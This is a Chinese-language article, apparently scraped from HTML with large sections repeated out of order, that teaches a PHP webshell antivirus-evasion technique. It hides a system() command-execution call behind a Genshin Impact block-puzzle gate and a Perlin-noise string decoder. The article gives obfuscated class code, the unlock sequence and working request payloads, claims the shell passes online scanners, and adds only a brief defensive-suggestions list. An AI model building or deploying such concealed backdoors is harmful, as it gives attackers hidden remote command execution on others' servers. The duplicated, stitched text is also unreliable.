WebShell免杀技术：基于分支对抗与复杂算法的绕过方法<\/h1>

1. 前言<\/h2>
WebShell免杀技术是网络安全攻防中的重要课题。本文介绍了一种基于分支对抗和复杂算法混淆的WebShell绕过方法，通过模拟《原神》游戏中的稻妻雷元素方块阵解谜机制和柏林噪声算法，构建高度混淆的PHP类结构，实现对抗杀毒软件和云沙箱检测的目的。<\/p>

2. 核心思路<\/h2>

2.1 类绕过技术<\/h3>

类绕过是最有效且不易被检测的WebShell免杀方式<\/li>
通过在类中嵌入复杂算法和混淆代码，使代码逻辑混乱、难以阅读<\/li>

最终仍能实现命令执行(RCE)功能<\/li> <\/ul>

2.2 双重保护机制<\/h3>

稻妻雷元素方块阵验证<\/strong>：必须通过特定序列的解谜才能继续执行<\/li>

柏林噪声算法混淆<\/strong>：核心功能隐藏在复杂的数学计算中<\/li> <\/ol>
3. 稻妻雷元素方块阵机制<\/h2>
3.1 初始状态<\/h3>
blockA<\/span> =<\/span> 2<\/span> <\/span><\/span>blockB<\/span> =<\/span> 0<\/span> <\/span><\/span>blockC<\/span> =<\/span> 0<\/span> <\/span><\/span>blockD<\/span> =<\/span> 2<\/span> <\/span><\/span><\/code><\/pre>每个方块的状态值循环从0到2（最小0，最大2）<\/p> 3.2 setBackBlock()方法<\/h3> 尝试将指定方块重置为最小状态(0)<\/li> 如果方块已处于最大状态(2)，则重置并返回true<\/li> 否则不改变并返回false<\/li> <\/ul> 3.3 hit()方法行为<\/h3> 根据点击的方块执行不同操作：<\/p> 点击方块<\/th> 影响方块<\/th> 操作<\/th> <\/tr> <\/thead> A<\/td> A, B<\/td> 尝试重置A和B，若不能重置则各自加1<\/td> <\/tr> B<\/td> A, B, C<\/td> 尝试重置A、B和C，若不能重置则各自加1<\/td> <\/tr> C<\/td> B, C, D<\/td> 尝试重置B、C和D，若不能重置则各自加1<\/td> <\/tr> D<\/td> C, D<\/td> 尝试重置C和D，若不能重置则各自加1<\/td> <\/tr> <\/tbody> <\/table> 3.4 解谜序列分析<\/h3> 有效序列<\/strong>: ABBCCD<\/p> 执行步骤：<\/p> 点击A: blockA=0, blockB=1<\/li> 点击B: blockA=1, blockB=2, blockC=1<\/li> 点击B: blockA=2, blockB=0, blockC=2<\/li> 点击C: blockB=1, blockC=0, blockD=0<\/li> 点击C: blockB=2, blockC=1, blockD=1<\/li> 点击D: blockC=2, blockD=2<\/li> <\/ol> 最终状态：所有方块=2，验证通过<\/p> 3.5 WebShell集成实现<\/h3> $appor5nnb =<\/span> new<\/span> InazumaPuzzle<\/span>(); <\/span><\/span>$appor5nnb-><\/span>__AFG50CE4_RG1<\/span>(); <\/span><\/span>if<\/span> ($appor5nnb-><\/span>getLockerStatus<\/span>()) $a($b); <\/span><\/span><\/code><\/pre>Payload<\/strong>:<\/p> wpstring=ABBCCD&a=system&b=whoami <\/code><\/pre> 4. 柏林噪声算法混淆<\/h2> 4.1 算法原理<\/h3> 柏林噪声属于基于晶格的生成算法，核心思想：<\/p> 定义晶格结构（二维平面网格\/三维立方体网络）<\/li> 每个晶格顶点有预定义的梯度向量<\/li> 计算点到所在晶格顶点的距离向量<\/li> 距离向量与梯度向量做点积运算得到影响值<\/li> <\/ul> 4.2 关键代码解析<\/h3> $ab =<\/span> pause<\/span>(array_map<\/span>(function<\/span>($arr){ <\/span><\/span> return<\/span> chr<\/span>($arr); <\/span><\/span>}, array_slice<\/span>($this-><\/span>perlin_noise<\/span>, (188<\/span>*<\/span>2<\/span>)+<\/span>$userans*<\/span>3<\/span>, $userans-<\/span>3<\/span>))); <\/span><\/span> <\/span><\/span>$c =<\/span> strval<\/span>(sprintf<\/span>("%s%s"<\/span>, $b, pause<\/span>(strrev<\/span>(implode<\/span>(""<\/span>, pause<\/span>($ab)))))); <\/span><\/span>$c($pcs); <\/span><\/span><\/code><\/pre>4.3 构造过程<\/h3> 设置$userans = 7<\/code><\/li> 手动设置perlin_noise数组特定值： $cvb33ff55-><\/span>perlin_noise<\/span>[397<\/span>] =<\/span> 121<\/span>; \/\/ 'y' <\/span><\/span><\/span><\/span>$cvb33ff55-><\/span>perlin_noise<\/span>[398<\/span>] =<\/span> 116<\/span>; \/\/ 't' <\/span><\/span><\/span><\/span>$cvb33ff55-><\/span>perlin_noise<\/span>[399<\/span>] =<\/span> 101<\/span>; \/\/ 'e' <\/span><\/span><\/span><\/span>$cvb33ff55-><\/span>perlin_noise<\/span>[400<\/span>] =<\/span> 109<\/span>; \/\/ 'm' <\/span><\/span><\/span><\/code><\/pre><\/li> 通过切片和字符转换得到"system"字符串<\/li> 执行命令：system($pcs)<\/code><\/li> <\/ol> 4.4 完整WebShell实现<\/h3> $appor5nnb =<\/span> new<\/span> InazumaPuzzle<\/span>(); <\/span><\/span>$appor5nnb-><\/span>__AFG50CE4_RG1<\/span>(); <\/span><\/span>$cvb33ff55 =<\/span> new<\/span> PerlinNoise<\/span>(3000<\/span>, 700.4<\/span>, 56.7<\/span>, "DIFF_PERLIN"<\/span>); <\/span><\/span>$cvb33ff55-><\/span>__BHUYTVV8_1<\/span>(); <\/span><\/span>$cvb33ff55-><\/span>__CPRBB0R0_l<\/span>(); <\/span><\/span>$cvb33ff55-><\/span>__HNBB70CA_5<\/span>(); <\/span><\/span><\/code><\/pre>Payload<\/strong>:<\/p> wpstring=ABBCCD&b=s&pcs=whoami <\/code><\/pre> 5. 混淆增强技术<\/h2> 5.1 无用代码注入<\/h3> 大量无意义的注释和字符串<\/li> 无实际功能的代码片段<\/li> 随机字符和乱码插入<\/li> <\/ul> 5.2 变量名混淆<\/h3> 使用无意义的变量名如$appor5nnb<\/code>, $cvb33ff55<\/code><\/li> 方法名包含随机字符如__AFG50CE4_RG1<\/code><\/li> <\/ul> 5.3 编码转换<\/h3> 使用urldecode<\/code>编码关键字符串<\/li> 如%6e%69%6c%72%65%70%5f%46%46%49%44<\/code>解码为nilerp_FFID<\/code><\/li> <\/ul> 6. 免杀效果验证<\/h2> 微步在线检测显示安全<\/li> 传统杀毒软件难以识别<\/li> 云沙箱分析困难<\/li> <\/ul> 7. 防御建议<\/h2> 静态分析<\/strong>：<\/p> 检测异常复杂的类结构<\/li> 识别隐藏的命令执行逻辑<\/li> 关注urldecode<\/code>等解码函数的使用<\/li> <\/ul> <\/li> 动态分析<\/strong>：<\/p> 监控异常的参数传递模式<\/li> 检测非常规的数学计算序列<\/li> 分析长时间运行的复杂算法<\/li> <\/ul> <\/li> 行为检测<\/strong>：<\/p> 关注system<\/code>等危险函数的间接调用<\/li> 检测通过复杂条件分支触发的敏感操作<\/li> <\/ul> <\/li> <\/ol> 8. 总结<\/h2> 这种WebShell免杀技术通过：<\/p> 游戏解谜机制作为前置验证<\/li> 复杂数学算法作为核心混淆<\/li> 多重编码和代码混淆作为掩护实现了高度的隐蔽性和对抗性，是当前WebShell对抗检测的先进技术之一。<\/li> <\/ol>

点击方块<\/th>	影响方块<\/th>	操作<\/th> <\/tr> <\/thead>
A<\/td>	A, B<\/td>	尝试重置A和B，若不能重置则各自加1<\/td> <\/tr>
B<\/td>	A, B, C<\/td>	尝试重置A、B和C，若不能重置则各自加1<\/td> <\/tr>
C<\/td>	B, C, D<\/td>	尝试重置B、C和D，若不能重置则各自加1<\/td> <\/tr>
D<\/td>	C, D<\/td>	尝试重置C和D，若不能重置则各自加1<\/td> <\/tr> <\/tbody> <\/table> 3.4 解谜序列分析<\/h3> 有效序列<\/strong>: ABBCCD<\/p> 执行步骤：<\/p> 点击A: blockA=0, blockB=1<\/li> 点击B: blockA=1, blockB=2, blockC=1<\/li> 点击B: blockA=2, blockB=0, blockC=2<\/li> 点击C: blockB=1, blockC=0, blockD=0<\/li> 点击C: blockB=2, blockC=1, blockD=1<\/li> 点击D: blockC=2, blockD=2<\/li> <\/ol> 最终状态：所有方块=2，验证通过<\/p> 3.5 WebShell集成实现<\/h3> $appor5nnb =<\/span> new<\/span> InazumaPuzzle<\/span>(); <\/span><\/span>$appor5nnb-><\/span>__AFG50CE4_RG1<\/span>(); <\/span><\/span>if<\/span> ($appor5nnb-><\/span>getLockerStatus<\/span>()) $a($b); <\/span><\/span><\/code><\/pre>Payload<\/strong>:<\/p> wpstring=ABBCCD&a=system&b=whoami <\/code><\/pre> 4. 柏林噪声算法混淆<\/h2> 4.1 算法原理<\/h3> 柏林噪声属于基于晶格的生成算法，核心思想：<\/p> 定义晶格结构（二维平面网格\/三维立方体网络）<\/li> 每个晶格顶点有预定义的梯度向量<\/li> 计算点到所在晶格顶点的距离向量<\/li> 距离向量与梯度向量做点积运算得到影响值<\/li> <\/ul> 4.2 关键代码解析<\/h3> $ab =<\/span> pause<\/span>(array_map<\/span>(function<\/span>($arr){ <\/span><\/span> return<\/span> chr<\/span>($arr); <\/span><\/span>}, array_slice<\/span>($this-><\/span>perlin_noise<\/span>, (188<\/span><\/span>2<\/span>)+<\/span>$userans<\/span>3<\/span>, $userans-<\/span>3<\/span>))); <\/span><\/span> <\/span><\/span>$c =<\/span> strval<\/span>(sprintf<\/span>("%s%s"<\/span>, $b, pause<\/span>(strrev<\/span>(implode<\/span>(""<\/span>, pause<\/span>($ab)))))); <\/span><\/span>$c($pcs); <\/span><\/span><\/code><\/pre>4.3 构造过程<\/h3> 设置$userans = 7<\/code><\/li> 手动设置perlin_noise数组特定值： $cvb33ff55-><\/span>perlin_noise<\/span>[397<\/span>] =<\/span> 121<\/span>; \/\/ 'y' <\/span><\/span><\/span><\/span>$cvb33ff55-><\/span>perlin_noise<\/span>[398<\/span>] =<\/span> 116<\/span>; \/\/ 't' <\/span><\/span><\/span><\/span>$cvb33ff55-><\/span>perlin_noise<\/span>[399<\/span>] =<\/span> 101<\/span>; \/\/ 'e' <\/span><\/span><\/span><\/span>$cvb33ff55-><\/span>perlin_noise<\/span>[400<\/span>] =<\/span> 109<\/span>; \/\/ 'm' <\/span><\/span><\/span><\/code><\/pre><\/li> 通过切片和字符转换得到"system"字符串<\/li> 执行命令：system($pcs)<\/code><\/li> <\/ol> 4.4 完整WebShell实现<\/h3> $appor5nnb =<\/span> new<\/span> InazumaPuzzle<\/span>(); <\/span><\/span>$appor5nnb-><\/span>__AFG50CE4_RG1<\/span>(); <\/span><\/span>$cvb33ff55 =<\/span> new<\/span> PerlinNoise<\/span>(3000<\/span>, 700.4<\/span>, 56.7<\/span>, "DIFF_PERLIN"<\/span>); <\/span><\/span>$cvb33ff55-><\/span>__BHUYTVV8_1<\/span>(); <\/span><\/span>$cvb33ff55-><\/span>__CPRBB0R0_l<\/span>(); <\/span><\/span>$cvb33ff55-><\/span>__HNBB70CA_5<\/span>(); <\/span><\/span><\/code><\/pre>Payload<\/strong>:<\/p> wpstring=ABBCCD&b=s&pcs=whoami <\/code><\/pre> 5. 混淆增强技术<\/h2> 5.1 无用代码注入<\/h3> 大量无意义的注释和字符串<\/li> 无实际功能的代码片段<\/li> 随机字符和乱码插入<\/li> <\/ul> 5.2 变量名混淆<\/h3> 使用无意义的变量名如$appor5nnb<\/code>, $cvb33ff55<\/code><\/li> 方法名包含随机字符如__AFG50CE4_RG1<\/code><\/li> <\/ul> 5.3 编码转换<\/h3> 使用urldecode<\/code>编码关键字符串<\/li> 如%6e%69%6c%72%65%70%5f%46%46%49%44<\/code>解码为nilerp_FFID<\/code><\/li> <\/ul> 6. 免杀效果验证<\/h2> 微步在线检测显示安全<\/li> 传统杀毒软件难以识别<\/li> 云沙箱分析困难<\/li> <\/ul> 7. 防御建议<\/h2> 静态分析<\/strong>：<\/p> 检测异常复杂的类结构<\/li> 识别隐藏的命令执行逻辑<\/li> 关注urldecode<\/code>等解码函数的使用<\/li> <\/ul> <\/li> 动态分析<\/strong>：<\/p> 监控异常的参数传递模式<\/li> 检测非常规的数学计算序列<\/li> 分析长时间运行的复杂算法<\/li> <\/ul> <\/li> 行为检测<\/strong>：<\/p> 关注system<\/code>等危险函数的间接调用<\/li> 检测通过复杂条件分支触发的敏感操作<\/li> <\/ul> <\/li> <\/ol> 8. 总结<\/h2> 这种WebShell免杀技术通过：<\/p> 游戏解谜机制作为前置验证<\/li> 复杂数学算法作为核心混淆<\/li> 多重编码和代码混淆作为掩护实现了高度的隐蔽性和对抗性，是当前WebShell对抗检测的先进技术之一。<\/li> <\/ol>

WebShell免杀技术：基于分支对抗与复杂算法的绕过方法<\/h1>

2. 核心思路<\/h2>

3. 稻妻雷元素方块阵机制<\/h2>

4. 柏林噪声算法混淆<\/h2>

5. 混淆增强技术<\/h2>

8. 总结<\/h2> 这种WebShell免杀技术通过：<\/p> 游戏解谜机制作为前置验证<\/li> 复杂数学算法作为核心混淆<\/li> 多重编码和代码混淆作为掩护 实现了高度的隐蔽性和对抗性，是当前WebShell对抗检测的先进技术之一。<\/li> <\/ol>

8. 总结<\/h2>
这种WebShell免杀技术通过：<\/p>

游戏解谜机制作为前置验证<\/li>
复杂数学算法作为核心混淆<\/li>
多重编码和代码混淆作为掩护
实现了高度的隐蔽性和对抗性，是当前WebShell对抗检测的先进技术之一。<\/li> <\/ol>